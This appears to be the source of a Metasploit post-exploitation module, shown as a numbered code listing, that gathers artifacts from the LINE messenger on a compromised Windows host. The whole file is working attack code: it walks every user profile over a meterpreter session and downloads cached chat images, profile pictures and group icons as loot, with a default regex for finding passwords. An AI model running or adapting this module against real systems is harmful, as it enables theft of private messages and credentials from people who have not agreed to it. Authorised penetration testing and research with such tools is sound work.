Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.

1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5

6
class MetasploitModule < Msf::Post
7

8
  # this associative array defines the artifacts known to PackRat
9
  include Msf::Post::File
10
  include Msf::Post::Windows::UserProfiles
11
  include Msf::Post::Windows::Packrat
12

13
  ARTIFACTS =
14
    {
15
      application: 'line',
16
      app_category: 'chats',
17
      gatherable_artifacts: [
18
        {
19
          filetypes: 'images',
20
          path: 'LocalAppData',
21
          dir: 'LINE',
22
          artifact_file_name: '*.png',
23
          description: 'Image cache with png extension',
24
          credential_type: 'chat_log'
25
        },
26
        {
27
          filetypes: 'images',
28
          path: 'LocalAppData',
29
          dir: 'LINE',
30
          artifact_file_name: '*.jpeg',
31
          description: 'Image cache for jpg cache',
32
          credential_type: 'chat_log'
33
        },
34
        {
35
          filetypes: 'images',
36
          path: 'LocalAppData',
37
          dir: 'LINE\\Cache\\p',
38
          artifact_file_name: '*',
39
          description: 'Image cache for profile images of users',
40
          credential_type: 'chat_log'
41
        },
42
        {
43
          filetypes: 'images',
44
          path: 'LocalAppData',
45
          dir: 'LINE\\Cache\\g',
46
          artifact_file_name: '*',
47
          description: 'Image cache for group icons',
48
          credential_type: 'chat_log'
49
        },
50
        {
51
          filetypes: 'images',
52
          path: 'LocalAppData',
53
          dir: 'LINE\\Cache\\m',
54
          artifact_file_name: '*',
55
          description: 'Image cache for images sent through chat',
56
          credential_type: 'chat_log'
57
        },
58
        {
59
          filetypes: 'images',
60
          path: 'LocalAppData',
61
          dir: 'LINE\\Cache\\e',
62
          artifact_file_name: '*',
63
          description: 'Image cache for profile images sent by official accounts',
64
          credential_type: 'chat_log'
65
        },
66
        {
67
          filetypes: 'images',
68
          path: 'LocalAppData',
69
          dir: 'LINE\\Data\\pizza',
70
          artifact_file_name: '*',
71
          description: 'Image cache for profile images of users',
72
          credential_type: 'chat_log'
73
        }
74
      ]
75
    }.freeze
76

77
  def initialize(info = {})
78
    super(
79
      update_info(
80
        info,
81
        'Name' => 'LINE credential gatherer',
82
        'Description' => %q{
83
          PackRat is a post-exploitation module that gathers file and information artifacts from end users' systems.
84
          PackRat searches for and downloads files of interest (such as config files, and received and deleted emails) and extracts information (such as contacts and usernames and passwords), using regexp, JSON, XML, and SQLite queries.
85
          Further details can be found in the module documentation.
86
          This is a module that searches for credentials in LINE desktop application on a windows remote host. LINE is the most popular Instant Messenger app in Japan.
87
        },
88
        'License' => MSF_LICENSE,
89
        'Author' => [
90
          'Kazuyoshi Maruta',
91
          'Daniel Hallsworth',
92
          'Barwar Salim M',
93
          'Z. Cliffe Schreuders', # http://z.cliffe.schreuders.org
94
        ],
95
        'Platform' => ['win'],
96
        'SessionTypes' => ['meterpreter'],
97
        'Notes' => {
98
          'Stability' => [CRASH_SAFE],
99
          'Reliability' => [],
100
          'SideEffects' => []
101
        }
102
      )
103
    )
104

105
    register_options(
106
      [
107
        OptRegexp.new('REGEX', [false, 'Match a regular expression', '^password']),
108
        OptBool.new('STORE_LOOT', [false, 'Store artifacts into loot database', true]),
109
        OptBool.new('EXTRACT_DATA', [false, 'Extract data and stores in a separate file', true]),
110
        # enumerates the options based on the artifacts that are defined below
111
        OptEnum.new('ARTIFACTS', [false, 'Type of artifacts to collect', 'All', ARTIFACTS[:gatherable_artifacts].map { |k| k[:filetypes] }.uniq.unshift('All')])
112
      ]
113
    )
114
  end
115

116
  def run
117
    print_status('Filtering based on these selections:  ')
118
    print_status("ARTIFACTS: #{datastore['ARTIFACTS'].capitalize}")
119
    print_status("STORE_LOOT: #{datastore['STORE_LOOT']}")
120
    print_status("EXTRACT_DATA: #{datastore['EXTRACT_DATA']}\n")
121

122
    # used to grab files for each user on the remote host
123
    grab_user_profiles.each do |userprofile|
124
      run_packrat(userprofile, ARTIFACTS)
125
    end
126

127
    print_status 'PackRat credential sweep Completed'
128
  end
129
end
130

131